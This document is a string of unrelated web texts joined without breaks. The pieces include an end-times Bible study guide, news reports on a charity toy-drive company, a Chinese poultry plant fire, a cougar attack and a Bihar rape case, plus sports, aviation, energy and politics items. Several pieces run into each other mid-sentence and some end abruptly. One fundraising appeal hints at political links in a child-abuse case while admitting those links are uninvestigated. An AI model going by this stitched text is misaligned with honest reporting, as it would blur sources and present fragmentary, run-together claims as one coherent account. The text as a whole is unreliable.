Billions, believing that Satan is Jesus, will bow at his feet and join the counterfeit movement. “All the world marveled and followed the beast” (Revelation 13:3). The deception will be overwhelmingly effective. But God’s people will not be deceived, because they test everything by the Bible (Isaiah 8:19, 20; 2 Timothy 2:15). The Bible says God’s law cannot be changed (Matthew 5:18). It also says that when Jesus returns, every eye will see Him (Revelation1:7) and that He will not touch the earth but will remain in the clouds and call His people to meet Him in the air (1 Thessalonians 4:16, 17).
16. How can we be safe from powerful end-time deceptions? Answer: A. Test every teaching by the Bible (2 Timothy 2:15; Acts 17:11; Isaiah 8:20).
B. Follow truth as Jesus reveals it. Jesus promised that those who genuinely want to obey Him will never end up in error (John 7:17).
C. Stay close to Jesus daily (John 15:5).
Reminder: This is the sixth Study Guide in our series of nine on the three angels’ messages. The next Study Guide will reveal how Christian churches and other religions worldwide will relate to the events of the end time.As if being ranked #1 in the polls, being in control of the Big Ten with four games to go, and having two likely first team All-Americans weren't enough, IU received word yesterday that two Hoosiers were being honored for their work in the classroom. Cody Zeller was named a first-team Academic All-American and Jordan Hulls was named to the third team. Zeller and Hulls are the first Hoosiers to be so honored since Luke Recker (who?) in 1999. This also marks the first time IU has had two Academic All-Americans in the same season since brothers Dick and Tom Van Arsdale made it in 1965. Other names of local interest: Warsaw native Mason Plumlee of Duke and Ohio State's Aaron Craft join Zeller on the first team. Peyton Siva of Louisville and Andrew Smith of Butler are on the second team.
Foremost, congratulations is due to Zeller and Hulls, who apparently have put in as much work in the classroom as they have on the court. In addition, the academic support staff within the athletic department deserves credit for what they have done. Finally, what about the culture that Tom Crean has established at IU? Of course, the idea that IU should recruit good kids who go to class and graduate has been around for a long time, particularly when Bob Knight was the head coach. But Crean had to rebuild that culture from scratch when he arrived at IU. Congrats to all involved.A lawn-care company that sells toys during the holiday season is being accused of misleading people who want to help the less-fortunate.
Canadian Property Stars (CPS), of Kanata, Ont., is a privately-held corporation and is not obliged to release its financial statements or abide by the fundraising industry code of ethics.
CPS president Ben Stewart won’t disclose what percentage of the money raised in the toy drives actually goes to charity.
Stewart said staff are paid a commission of 14 per cent, which critics say raises concerns that percentage could be considerably higher than the portion going to charity.
The company is operating in Alberta without a fundraiser’s licence as required by provincial law.
Charities have told Go Public they’re concerned CPS’s toy drives could hurt the reputations of charities it claims to be supporting.
Staff shift from lawn care to selling toys
Stewart said the CPS Toy Drop is a way to help existing toy drives meet their goals and fill a three month window when his lawn maintenance company has no revenue.
In spring and summer CPS staff go door-to-door selling driveway sealing, window washing and lawn aeration.
For the past two winters CPS has branched out to selling toys.
It placed online ads offering “an amazing opportunity to make BIG $ raising money for a reputable Canadian charity….$100 to $400 CASH paid daily!”
CPS sold the toys in Edmonton, Calgary and other Alberta municipalities, as well as in Ontario.
Charity concerned reputation may be damaged
CPS approaches supermarket and big-box store managers asking for permission to set up a table for a local charity fundraising event.
The store manager is asked to choose which charity should receive the money.
CPS staff tell customers they are raising money for the local charity, and ask them to buy a toy from the table then place it in a donation bin.
The toys usually cost $10, $20, or $30, but have been described as being of dollar store quality.
When asked, Stewart could not provide the toys’ cost per unit.
Jessica Ryder said when she went into Canadian Tire in Edson, Alta., last month she was asked if she would like to help the local Kinettes club.
She called the $100 for four toys “exorbitant.”
When she declined, she said the seller wanted to know why she wasn’t interested in helping her community.
“He was aggressive,“ Ryder said. “I’m upset because I feel he was taking advantage of the people in our town.”
On its website, CPS responds to concerns of aggressive sales practices by saying
“CFE (Charity Fundraising Events) does not tolerate its staff engaging in any aggressive behaviour, whether directed at customers, the staff of its host businesses or other CFE staff.”
The president of the Edson Kinettes confirms CPS has donated several boxes of toys but says CPS never asked them to be part of a toy drive.
Krystal Baier says Edson Kinettes received a toy donation but doesn't know how much money was raised using the Kinettes' name. (CBC ) Krystal Baier said it’s important the club have control over how a charity drive is conducted and how the Kinettes’ name is used.
“No one said anything to us about selling overpriced toys to donate to us,” Krystal Baier said.
Baier said the first she heard of CPS was when she started getting complaints.
She said another charity in the community that contributes to the Kinettes accused them of poaching donations away from their toy drive.
“We don’t want this to hurt our reputation,” Baier said. “We didn't sign up for this.”
Baier said the Kinettes didn’t want to accept CPS’s toy donation, but felt donors had bought them to help the club.
Owner self-described ‘serial entrepreneur’
CPS owner Ben Stewart is a former kickboxing star and author of the self-published book “Millionaire in 90 Days.”
On his personal website, Stewart describes himself as a “serial entrepreneur,” who knew what he wanted to be by the age of five, when his hero was the fictitious CEO Victor Newman, a character of the soap opera “The Young and the Restless.”
Stewart claims his company gave $25,000 to local charities in 2013 and pledges to give $20,000 this year.
However, Stewart said no-one should confuse CPS with a charity or a fundraising company.
“(CPS is) 100 per cent a sales and service company,” he said.
“We have absolutely no ties to charities, we never have, and it is in our mandate and processes and training that we ensure our staff know never to say we are a charity.”
Three national charities distancing themselves from company
In 2012, CPS gave $10,000 to UNICEF Canada.
A spokeswoman said UNICEF accepted the money to honour the wishes of donors, but has no affiliation with CPS because it only partners with organizations which comply with accepted ethical standards for charities.
Habitat for Humanity received $30,000 from CPS, but says it won’t deal with the company again because of donor complaints about how CPS represented its relationship with Habitat and used the Habitat brand.
The Salvation Army received $10,000 but says it told CPS to stop using its name and logos to raise money.
A spokesman said the Salvation Army asked for, but didn’t receive, an accounting of how much money was collected using its name.
Stewart promised Go Public he would disclose his revenues from toy sales, but later referred us to his lawyer, who said he advised Stewart to keep the information confidential.
Company ‘selling deception,’ expert says
This lack of transparency is troubling, according to Peter Popkowski Leszczyc, professor of marketing at the University of Alberta and a specialist in consumer behaviour.
Popkowski Leszczyc called the company’s advertised donations “peanuts,” considering it claims to have sold 75,000 toys at $10, $20 or $30 apiece in the past two years.
He said those numbers suggest less than five per cent of shoppers’ donations may be going to charity.
“When I look at these numbers it looks purely that they’re cashing in on charity,” Popkowski Leszczyc said.
Popkowski Leszczyc says, despite Stewart’s claims to the contrary, CPS’s website and ads clearly identify it as a charity fundraiser.
“In my opinion they’re just selling deception,” he said.
CPS’s behaviour, especially its use of commissioned sales staff, raises red flags for Andrea McManus, past-chair of the Association of Fundraising Professionals.
“Being paid on a commission basis is considered highly unethical” (by fundraisers), Mcmanus said.
“Once you enter into a commission basis there’s really an element of personal gain.”
McManus suggests CPS is using charities’ names and reputations for its own purposes.
“I think it’s a predatory business model,” she said.
‘Not trying to harm anyone’
Stewart said the toy sales are “not a profitable venture” for his company.
“The goal for us is to raise as many toys as possible for needy children in communities,” Stewart said.
“The community is coming in, buying a toy, dropping it in the bin. And we’re … saving them the trip and the time of going and purchasing it themselves. So we’re just enabling,” he said.
“We’re trying to do good in the community. We’re not trying to harm anyone,” Stewart saidWarbirdsNews has received the latest XP-82 Twin Mustang restoration update from Tom Reilly at his workshop in Douglas, Georgia, and we thought you would all be pleased to see the latest progress!
Wing Tips
After what seems like forever, the forming and welding of the seams on the two wing tips are now completed with the exception of their final spot welding. The Lucite (Plexi-glass) red and the green lenses that cover each tip light bulb still need to be formed.
Tail and Wing Fairings The left and right horizontal-to-vertical stabilizer fairings are now complete, less the welding on the leading edge seams. They have a unique mounting. Each fairing screws horizontally to the vertical stabilizer and dorsal panel, but only rubs on a thin phenolic strip mounted to the upper and lower surfaces of the horizontal stabilizer. There are no vertical attaching screws.
The forming of the fuselage-to-wing/center section and trailing edge fairings has just got underway.
Top Cowlings for Right-hand Engine
The right-hand top cowl for the right-hand engine has now finally been reworked, fit and drilled to the internal framework. The left-hand top cowl is still presenting such a challenge that Tom Reilly thinks they will have to remake the entire panel. He states that it has been quite a frustrating job to try to correct these two top panels.
Original WWII Radios
The final original radio receiver, a BC-966-A, has been installed completing the entire radio package. The team also found a rare detonator switch that was designed, in the event of a high-G crash, to trigger an explosive charge mounted in each radio thereby destroying it and preventing an enemy from gaining any knowledge. Of course, all of the XP-82 radios have not had these charges installed.
The team also has original Cannon plug connectors for each radio that still need to be wired for authenticity.
The latest Garmin radio and avionics package was being installed as these words were written.
Carburetor Air Temperature Control Motors
These two motors, with their microscopic armatures, field windings, micro-switch wiring, 90° gearing and switch rollers are almost complete. The left-hand motor has been finished for about two weeks now. Reilly expects to have the final backlash fitting of the two 90 degree gears in the right-hand motor completed next week and both motors finally installed in the engine compartments.
Screen-printed Panels All of the screen-printed panels have now been fitted with their switches, rheostats, lights, push buttons, etc., and mounted in their respective positions in each cockpit.
Gear Retractions
Tom Reilly chose to make two special steel mounting plates that attach with internal wrenching bolts to and through each lower wing attach angle. Each jack mounting plate has two male sockets, one adjacent to the center section main spar used for jacking the aircraft for gear retractions, and a second one next to the main landing gear for the weight-and-balance pick-up point. Both steel mounting plates are removable after the retractions and weight-and-balance calculations.
The restoration team has now filled the XP-82 hydraulic system with 14 quarts of Mil H 5606 hydraulic fluid, and is proceeding with the gear retraction tests.
Much time is being spent adjusting the twelve push-pull rods which activate each inboard gear door forward and aft up-lock hooks along with the emergency up-lock release and hook pull cables.
And that is all for this month’s report.
Many thanks again to Tom Reilly for this update. You can learn more about the project on their blog HERE. Please be sure to check back with WarbirdsNews in May, 2017 for the next installment in the story following the XP-82′s road to recovery!The Bloomberg years have been kind to property markets and tough on fast food.
What a peculiar coda for this gilded age, then, was the news last week that a Manhattan real estate broker had been arrested for using a fake waste-hauling license to buy used frying oil from a Brooklyn Checkers. Somewhere, Tom Wolfe is taking notes.
When flipping pads wasn't going so well, DNAInfo reported, Seon Intrator flipped yellow grease — several thousand gallons of it each month since March. Grease-dealing out of a small truck may have earned Intrator as much as $10,000 a month.
She is one of many Americans—likely several thousand—who have been stealing and selling used cooking oil at a healthy profit. New York City, with 17,000 grease-producing establishments and only 29 licensed haulers, is a particularly attractive target, though there have been incidents reported in California, Connecticut, and New Jersey.
"In the past, this was considered waste," says Joe Casey, the general manager of Clean Green Horizons, a Delaware grease-hauling company. "Now it's a commodity."
In the past, this was considered waste. Now it's a commodity.
Indeed yellow grease, which can be used to make animal feeds, detergents, and biodiesel fuel, fetches between 30 and 40 cents per pound. Interest in biodiesel, in particular, has transformed grease into a valuable waste product. Restaurants that once paid to have the stuff removed now receive competing bids from hauling companies and renderers, which turn yellow grease into biofuels.At least 119 people were killed when a massive fire broke out in poultry processing plant in Jilin province. More than 50 people were injured.
The Jilin Baoyuanfeng Poultry Plant employs about 1,200 people. An estimated 350 workers were on site when the fire began.
The plant's narrow hallways, a locked front gate and what survivors explained as "complicated interior" made escape difficult, according to local media reports.
"I could only crawl desperately going forward," 39-year-old Gao Yan told the state-run news agency Xinhua. She said the emergency exit near her station was blocked and she was nearly caught in a stampede to escape.
Xinhua reported the fire was sparked by three early morning explosions. It was reportedly linked to blasts from an ammonia leak, according to the provincial fire department.
CCTV quoted unidentified workers who said the fire may have started in a locker room.
The incident spotlights lax safety standards in Chinese factories and highlights concerns over the impending takeover of US food giant Smithfield by Shuanghui International, though Shuanghui is not related to the poultry plant.
The fire was one of China's worst industrial disasters in recent years, with the death toll the highest since a September 2008 mining cave-in that claimed 281 lives, The Associated Press reported.
State broadcaster CCTV quoted unidentified workers as saying the fire broke out during a change of shifts and may have originated in a locker room at a time when about 350 workers were at the plant, owned by Jilin Baoyuanfeng Poultry Co.
Some employees raised the alarm shortly after a shift began at 6 a.m., and then the lights went out, boosting the level of panic as workers rushed to find an exit, employee Wang Fengya told Xinhua.
"When I finally ran out and looked back at the plant, I saw high flames," Wang, 44, was quoted as saying. Xinhua said she and three other workers were sent to a hospital in the nearby provincial capital of Changchun.
The newspaper Southern Metropolis Daily, known for its aggressive reporting, said the accident occurred in a factory building where chickens were being dismembered. The newspaper, on its microblog, reported that the fire spread rapidly, with industrial boilers exploding, and only a side door to the building was open with the rest of the exits locked.
It quoted an unidentified worker as saying the fire engulfed the building in three minutes, leaving too little time for many to flee.
Calls to fire and rescue services by the AP rang unanswered and hospital administrators said they had no information about the injured.
By about noon, the fire had been mostly extinguished by about 500 firefighters, and bodies were being recovered from the charred buildings. CCTV footage showed dark smoke billowing up from the prefabricated cement structures topped with corrugated iron roofs.
The poultry plant is one of several in the area where chickens are slaughtered and then quickly cut up into pieces and shipped to market. The entire process takes place in near-freezing conditions and such plants are usually built with large amounts of flammable foam insulation to maintain a constant temperature.
The Associated Press contributed to this report.William Gibb didn't know what was thrashing around in the dark, clawing at his dog, but he was going to save his pet.
The electrical subcontractor from Red Deer, Alta., was driving northwest with his brother Thomas on Boxing Day to get to work in Grande Prairie. About 6:30 p.m., they stopped at a Tim Hortons in Whitecourt to meet a friend for coffee.
Gibb let his two dogs out of his truck for a bathroom break near a wooded area at the back of a parking lot and it wasn't long before he heard one of them crying in pain.
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He quickly ran into the trees, where his five-year-old husky Sasha was on the ground.
"I saw this thing on top of her," said the 31-year-old. "So I ran over and punched it in the head, thinking maybe it was a coyote or something."
When the animal jumped off, Gibb said, he realized it was a cougar.
"I backed it up into a tree and was swinging at it some more and screaming for my brother and my buddy, Travis, to come over and get the dogs."
He saw Sasha bleeding and twitching on the ground and scooped her up but she bit him on the hand, thinking he was the cat, he said. When the dog later recognized her owner, she ran off.
Gibb continued to fight the cat.
"I was still throwing punches toward the cougar. The cougar was kind of pawing back at me."
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Gibb said he wasn't hurt by the cat – not even scratched – and got his other dog Mungo, an Alaskan malamute, back into the truck.
He then grabbed a big stick to go back after the cougar again. But by that time, his brother and friend had corralled Sasha and were yelling that she was hurt badly.
Gibb said they quickly drove to a veterinarian clinic and, as they waited, called RCMP.
Mounties notified wildlife officers but arrived first at the restaurant, said Sgt. Tom Kalis.
"We had to proceed just to make sure it didn't attack anyone else," he said.
The cougar was still in the trees and officers saw it was crouched and ready to pounce, he added, so they shot and killed the animal.
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"It continued to be a menace."
Kalis said wildlife officers checked the area for other cougars but found none. Tests are being done to make sure the dead cougar is the one that attacked the dog, he said.
Sasha suffered two large cuts on her chest, four puncture wounds on her neck and other cuts and scrapes, said Gibb. The veterinarian stitched her up and she's now resting at home in Red Deer.
Gibb said he adopted the dog a few years ago from a rescue group and would do anything for her.
He was never scared of the cat, he said.
"It was all about protecting her."ZIONSVILLE, Ind. (March 22, 2016) – Gov. Mike Pence signed a bill Tuesday morning that eliminates the ISTEP test.
The state legislature approved the measure earlier this month. It lays out plans to create a 23-person panel to study other testing options for Hoosier students.
Pence signed the bill into law during a ceremony at Eagle Elementary in Zionsville.
“This is the beginning of a new day of testing in the state of Indiana,” Pence said. “2017 will be the last year of ISTEP in the state of Indiana.”
The bill requires that test scores be reported by July 1 each year. The results were delayed by months for the 2015 test, and other problems have plagued the ISTEP test, including technical glitches and scoring discrepancies.
Pence said ISTEP has been part of the fabric of education in Indiana for a generation, telling the crowd that new federal rules give the state flexibility to make changes.
“We’re going to seize that opportunity,” he said. “You’re going to witness law being made, and we’re going to make it at Eagle Elementary.”
The 23-person panel will include the superintendent of public instruction, several elected officials, teachers and principals. Pence will appoint the chairperson. Appointments are expected in May, and recommendations for an ISTEP alternative are due by Dec. 1.The campaign plane of Gov. Mike Pence of Indiana, the Republican vice-presidential candidate, slid off the runway while landing at LaGuardia Airport on Thursday night in New York. AP Photo/Mary Altaffer The campaign airplane of Republican vice-presidential nominee Mike Pence slid off the runway at LaGuardia Airport in New York City on Thursday night.
Emergency crews responded to the incident, which occurred during heavy rain. Journalists aboard the plane quickly tweeted that there were no injuries.
"The governor himself came to the back of the plane to make sure everyone was OK," Elizabeth Landers, a CNN producer who was on the plane, said on CNN.
The airport was closed for a time, according to a message from New York's Emergency Management service. Some arriving flights were being diverted to John F. Kennedy International Airport in New York City, while at least one flight was diverted to Philadelphia and another to Allentown, Pennsylvania.
Thirty-seven people were aboard the plane, according to New York's WPIX.
Mike Pence said on Twitter that he was safe about an hour after the incident:
He was later spotted arriving at a hotel in New York City:
Video shot by ABC's Ines de La Cuetara shows damage to the LaGuardia tarmac:
A spokeswoman for Donald Trump said Trump called Pence from Ohio after the incident and was "very glad everyone on board the plane is safe," according to NBC News.
Hillary Clinton, the Democratic presidential nominee, also tweeted good wishes to Pence late Thursday night, saying "Glad to hear Mike Pence, his staff, Secret Service, and the crew are all safe."
Pence was campaigning for Trump in Iowa on Thursday. He is scheduled to campaign in Pennsylvania and North Carolina on Friday.During continued volatility in oil prices, federal regulators said yesterday that they had been investigating crude oil trading, storage and transportation for the past six months with a focus on possible "futures market manipulation."
The Commodity Futures Trading Commission, which normally keeps investigations confidential, said in a statement that it was "taking the extraordinary step of disclosing this investigation because of today's unprecedented market conditions."
Those conditions have sent oil prices to record heights, adding to the U.S. trade deficit, hurting consumers and companies, and weighing heavily on the nation's economy.
Gregory Mocek, director of enforcement at the CFTC, said five senior trial lawyers, "some of the most experienced prosecutors that we have," and other investigators were engaged in the inquiry. "The scope is quite broad," Mocek said, adding that the commission was looking at the "national crude market," including trades on regulated exchanges, cash trades, storage, pipeline operations and shipping.
Yesterday was another chaotic day for crude oil prices, which had soared about 30 percent since the start of the year. This time, however, prices tumbled $4.41, or 3.4 percent, to $126.62 a barrel on the New York Mercantile Exchange as traders tried to decipher new U.S. inventory numbers. The Energy Information Administration said petroleum stocks fell sharply, which would ordinarily drive prices up, but it blamed the drop on "temporary" delays in oil tanker off-loadings on the Gulf Coast.
Elsewhere, there were scattered signs recently that worldwide demand for petroleum products might be easing. MasterCard, the second-biggest credit card company, said this week that U.S. gasoline demand dropped 5.5 percent last week. Meanwhile, Indonesia, Taiwan, Sri Lanka and Pakistan have recently indicated that they would trim fuel subsidies and raise prices.
In addition, Bloomberg News reported that the United Arab Emirates representative to the Organization of the Petroleum Exporting Countries told reporters in Dubai that oil price increases have been "too fast, too high" and were "not good for producers or consumers."
The CFTC said its investigation started in December, before this latest surge in prices but after an earlier surge that took oil prices over $90 a barrel.
Congress has been pressing the CFTC to take tougher action to stop what lawmakers call "speculation" -- which is not illegal -- and possible unlawful manipulation of oil markets. Some lawmakers have suggested that the commission discourage speculation by increasing margin requirements so that traders would have to put up more cash to buy positions on commodity markets.
The CFTC said that in addition to the investigation, it had reached agreements with British and European regulators to share more information about oil markets. It also said it would take steps to increase transparency by getting more information from index traders and other financial players.
It was unclear whether the commission's announcements were a reaction to congressional pressure, but they were praised by many lawmakers. Rep. Edward J. Markey (D-Mass.) said he was pleased, adding that "the CFTC must vigorously pursue all leads to protect the American people from market manipulation during a time of record prices at the pump."
One of the CFTC commissioners, Bart Chilton, wrote a letter dated May 9 to Sen. Charles E. Schumer (D-N.Y.) praising the work of Congress in scrutinizing the rapid rise in gasoline prices. "It's not good enough to say, let the markets take care of this, when there is even the possibility that uneconomic forces may be at work," Chilton wrote.
Mocek said yesterday that the CFTC had about 60 price manipulation investigations in progress aside from the one looking at the national crude oil market. Some of those investigations also involve oil and gas firms or traders, he said.Buck: Frank Suarez; Monkey: Diana Wright
Amazon's "Amazon Studios" project has announced the first four TV series it will develop: three animated shows and a mockumentary, all of which were pitched by way of the Amazon Studios Web site.
The Studios project announced last month that it was looking for comedies and kids shows. The Studios effort -- which hitherto had been focused on short and feature-length films -- is designed to provide original programming for Amazon's Instant Video service.
Amazon Studios works differently than traditional Hollywood production companies in that it solicits original scripts via the Web -- writers can have their pitches reviewed publicly or by the studio staff. If a project gets picked to be moved along to the Studios' Development Slate, the creators receive $10,000, and the show may eventually be produced.
Here are the creators' descriptions of the first four chosen shows. "Buck Plaidsheep" is for kids; the others are for adults.
Magic Monkey Billionaire When their magician owner dies after winning the lottery, Rabbit and Monkey are shocked to learn that he left his money to happy moron Monkey and donated evil genius Rabbit to a 2nd grade class. In each episode, Rabbit hatches a plan to steal Monkey's billions.
When their magician owner dies after winning the lottery, Rabbit and Monkey are shocked to learn that he left his money to happy moron Monkey and donated evil genius Rabbit to a 2nd grade class. In each episode, Rabbit hatches a plan to steal Monkey's billions. Buck Plaidsheep Buck Plaidsheep, the courageous critter from Fleecy farm, will face any danger and solve any problem. Armed with a variety of vehicles, whether it be a jet pack, rowboat, hang glider or even a jeep, he always has the best vehicle to get the job done.
Buck Plaidsheep, the courageous critter from Fleecy farm, will face any danger and solve any problem. Armed with a variety of vehicles, whether it be a jet pack, rowboat, hang glider or even a jeep, he always has the best vehicle to get the job done. Doomsday This comedy mockumentary follows Gabriel Bell, a new age prophet, conspiracy theorist, public speaker, and self-proclaimed 'Wisdom Warrior,' as he seeks to spread the word of (and perhaps even generate a little money from) his prophecy that the world will end on December 6th 2012. We also explore the lives and supposed final days of four fans of Gabriel, who all believe in his theories for very different reasons.
This comedy mockumentary follows Gabriel Bell, a new age prophet, conspiracy theorist, public speaker, and self-proclaimed 'Wisdom Warrior,' as he seeks to spread the word of (and perhaps even generate a little money from) his prophecy that the world will end on December 6th 2012. We also explore the lives and supposed final days of four fans of Gabriel, who all believe in his theories for very different reasons. The 100 Deaths of Mort Grimley In this animated comedy, Hell desperately needs new customers. Mort Grimley, a middle-aged suicide, is forced by Belphegor, Hell's corporate slave, to get 100 more people to kill themselves or be doomed to spend eternity right next to the cruel mother he tried to escape.
Amazon Instant Video is looking to compete with rival offerings from Netflix, Hulu, and YouTube, all of which are developing their own programming. The services need to differentiate themselves, and to flesh out their content without having to lean too much on traditional Hollywood studios -- some of which have been holding back prime programming from streaming services so they can distribute it themselves.HARIPUR: Pakistan Tehreek-i-Insaf chief Imran Khan has urged people to rise against the “obsolete, exploitative system which has only added to their suffering in the past 65 years”.
Addressing a big gathering at grounds of the Elementary College here on Sunday in connection with the upcoming by-elections for the National Assembly seat NA-19, he said: “We will bring about a socio-economic change in the country because we oppose all kinds of corruption and mismanagement in governance.”
The PTI chairman’s arrival caused a severe gridlock for hours in scorching heat on the G.T. Road, which is the only road link between Gilgit and the rest of the country.
Mr Khan urged local people to vote in favour of PTI’s candidate, Raja Aamir Zaman, on Aug 16.
He said the PTI would not let the rulers exploit the people in the name of development because it had inculcated the sense of fair play in their minds.
He said the existing system, being based on corruption and exploitation, could not benefit the people.
Mr Khan said the PTI’s government in Khyber Pakhtunkhwa had brought about meaningful changes in the revenue, police and education systems. “Now we are working on health and higher education and trying to raise their standard.”
He said the provincial government had set a precedent by holding a sitting minister accountable because he was involved in wrongdoing. Such a prompt and clear action against cabinet members could not be imagined in Punjab and Sindh.
HARIPUR: Federal Minister for Information Pervez Rashid addressing a public meeting at Srikot during the election campaign for Babar Nawaz Khan, a PML-N candidate for NA-19.—APP
The PTI chief said he would raise the Kasur sex abuse scandal in the National Assembly. “We will take part in the National Assembly’s proceedings and perform our national duty,” he said.
Mr Khan said the PTI had served to dent the traditional coercive system by delegating powers to elected representatives. People of Khyber Pakhtunkhwa had elected 49,000 representatives who would spend Rs41 billion through their councils in villages and towns.
He said the PTI had delegated political and financial powers to the grassroots.
FEDERAL MINISTER: Speaking at a public meeting in Srikot, Information Minister Pervez Rashid said divisive forces were trying to destabilise the country but people knew that the PML-N was harbinger of development and prosperity.
He accused the PTI of pursuing negative politics.
He said “everyone was aware of plunder in the mineral and forest sectors in the province”.
He said that those within the PTI who dared to speak against the party’s top coterie had been shown the door.
Published in Dawn, August 10th, 2015
On a mobile phone? Get the Dawn Mobile App: Apple Store | Google PlayThis was not what he signed up for. But he was willing to discuss it.
“I haven’t had this much attention in a while,” Rajon Rondo said, chuckling, as he answered questions last week.
He hadn’t had that much attention from his team of late, either.
It has been an odd season so far for Rondo and the Chicago Bulls, still in the thick of the playoff race in the nobody-gets-eliminated Eastern Conference, but far from the contending team they were a couple of years ago. Chicago has a likely All-Star in Jimmy Butler, and a future Hall of Famer in Dwyane Wade, but it doesn’t appear to have a whole lot of chemistry. Given the mix of Rondo, Wade and Butler -- three talented players, in their own ways, but each of whom needs the ball -- that’s not all that surprising.
But they have to figure out a way to make it work. For now, coach Fred Hoiberg has opted to separate the three and bring Rondo off the bench, where he can push the tempo and get the ball to shooters like Doug McDermott and Nikola Mirotic, and slashers like rookie Denzel Valentine. Michael Carter-Williams, acquired from Milwaukee earlier this year, has been starting since New Year’s Eve, the night after Rondo logged a -20 plus-minus in the first half of a Bulls loss to the Pacers.
Rondo says he was told by a staffer that he wouldn’t name that the team was taking him out of the starting lineup “to save me from myself.”
And Rondo’s reaction?
“I thought it was (bleep),” he said.In actions that are likely to satisfy the ‘boring’ tag SunEdison CEO Ahmad Chatila called for following a chastening set of Q3 results earlier this month, the U.S. energy company is to drop-down 425 MW of its solar assets in India to its yieldco TerraForm Power as a means of boosting its flagging balance sheet.
The move will raise a total of $231 million for SunEdison, a portion of which the company has already used to partially pay down an outstanding margin loan. Much of the purchase price was paid on November 20, according to a SunEdison statement, with the remainder payable on or before December 7 2016.
"This transaction provides higher yields replacing lower-yielding IPO projects that were intended to be acquired through M&A and is consistent with our strategy to focus on organic growth provided by our sponsor," said TerraForm Global CEO Brian Wuebbels. "We are pleased to add these accretive assets with 20-year contracted cash flows to TerraForm Globals portfolio."
With a further 800 MW of solar capacity underdevelopment, and the recently secured, record-low price contract for a 500 MW solar plant in Andhra Pradesh under its belt, India has become a leading source of investment |
, 1993.
While Savitz has been painted as a disturbed and pathetic loner, very little has been uncovered about his associations and what role if any they had in his ability to continue his illegal activities. Pedophiles often traffic children to feed their appetite for child predation. Like convicted pedophile Jerry Sandusky (Second Mile) to whom Savitz has been linked, Savitz maintained an association with a charitable organization servicing children – the South Philly Boys Club. Just this past month it was reported that Republican Speaker of the House Dennis Hastert paid more than $3 million to cover up his sexual misconduct with a male student while he was a high school wrestling coach. Serious allegations against associated of billionaire Jeffrey Epstein (including Prince Andrew) have also gained traction. Most promisingly, a wide-ranging child sexual abuse investigation in the UK has unearthed large-scale sexual abuse on the part of Tory and Labor officials during the period Savitz operated.
Savitz, whose was an affluent actuary and whose family possesses considerable wealth, was known to be a large donor to local Democratic political campaigns in the 1980s. What role if any did his political relationship play in this affair? And to what degree if any did the Savitz scandal connect with other pedophilic scandals of the time? This has not been sufficiently investigated, and we will do so. Just as much as we need the financial support, we need expressions of community support for this project. We hope you'll join us.A forensic team at Sikarhatta police station on Friday.
Six Dalit women, including two minor girls, were allegedly raped by a former gunman of a disbanded private army and two others in Bihar’s Bhojpur district on Wednesday night. The three men are now in police custody. The victims belong to the mushahar caste, who are at the bottom of the economically deprived Mahadalit communities in Bihar.
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The main accused, disbanded Ranbir Sena’s Neelnidhi Singh, is already facing 18 criminal cases and was on bail, said district police chief Rajesh Kumar. He said the police had yet to confirm the exact age of the victims, though based on primary inquiry, they are probably between ages 12 and 30.
The medical test reports have confirmed rape.
The incident took place in Kurmuri village under Sikarhatta police station of the district when nine rag-pickers from nearby Dumaria village reached a scrapyard called at Maa Saraswatiji Enterprises to sell the scrap they had collected. Scrapyard owner Neelnidhi Singh, his brother Jayprakash Singh and their associate Guddu Pandit allegedly kept the payment on hold on the excuse that it would take time to arrange the change. The total value of scrap sold by the nine was Rs 1000.
As it was already past 6pm and the team had to walk 8km back to their village, the rag-pickers kept insisting on prompt payment. There were three married women, two girls, two minor girls and two minor boys in the group.
Neelnidhi Singh allegedly flashed a gun at the mushahar women to terrorise them into staying back at the scrapyard on Wednesday night. Guddu Pandit is said to have brought pouches of country liquor and the three reportedly forced the women and girls to drink the alcohol. The two minor boys are reported to have been tied with ropes. Six women and girls, including two minors, were then allegedly raped at an orchard near the thatched scrapyard.
The victims, who came to their full senses by midnight, jumped into a drain to reach an approach road and escape to the Dumaria village. One of the girls, aged around 7, was spared and returned with the victims. One of the victims later reported the matter to Sikarhatta police on Thursday.
Bhojpur police arrested Jaiprakash Singh on Thursday evening. After an overnight search through paddy fields, Neelnidhi Singh and Guddu Pandit were arrested on Friday afternoon. The police have seized the clothes of the accused. A forensic team also went to the scrapyard to examine the scene.
Kurmuri, a village of 4,000 people dominated by upper-caste Bhumihars, is just one of many villages in Bhojpur which has been witnessing recurring caste tension since the killing of former Ranbir Sena chief Barmeshwar Mukhiya in June 2012.
Police chief Kumar said,””We made all three arrests within 24 hours of filing an FIR. The prime accused Neelnidhi is a known offender, having been chargesheeted in over a dozen criminal cases”” The three have been booked for rape and under provisions of the SC/ST Act and Protection of Children from Sexual Offences Act.
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District magistrate Pankaj Pal said it was a””very sensitive”” case.””We will now press for speedy trial of the case. All six victims have been given Rs 90,000 each in compensation and will receive the same amount soon after the accused are chargesheeted”” he said.Can you make too many first serves?
It seems like a ridiculous question, but the more you dig into it, the more valid it becomes. First serves are the only shot in tennis that do not have a detrimental consequence if missed. It's a “freebie”.
Is making six out of 10 first serves going to help you win more matches than making seven out of 10? It seems counterintuitive, but like many myths in our sport, numbers help explain what our eyes can only guess about.
Making your first serve has always been thought of as one of the best things you can do to win a match. It’s a balancing act between going for too much and hitting a fault, or not going for it enough to maximise the ultimate first-strike weapon.
An Infosys ATP Beyond The Numbers analysis of first-serve percentages challenges the myth that getting a very high percentage of first serves in the box is the best thing you can do to be victorious.
The recently completed 2016 Roland Garros is a case in point.
The leading eight players in the first-serve category made between 72 per cent and 80 per cent of their first serves. Common sense tells us that should be a good thing, but six of the eight failed to win a match. Six of the top eight in this specific category also lost in the opening round of the 2015 US Open.
At the 2016 Australian Open, things were very similar. There were 13 players who made between 67 per cent and 75 per cent of their first serves. But only one of those players made it through to the fourth round. Six lost in the second round and the other six all lost in the opening round.
Average First-Serve Percentage At Grand Slams
Recent Grand Slams Average Tournament First-Serve Percentage 2016 Roland Garros 62% 2016 Australian Open 61% 2015 US Open 58% 2015 Wimbledon 62% Average 60.75%
The current players in the Top 10 of the Emirates ATP Rankings produce a variety of first-serve averages based on their individual playing styles but combine to produce an average very similar to the rest of their peers.
First-Serve Percentages of Top 10 Players
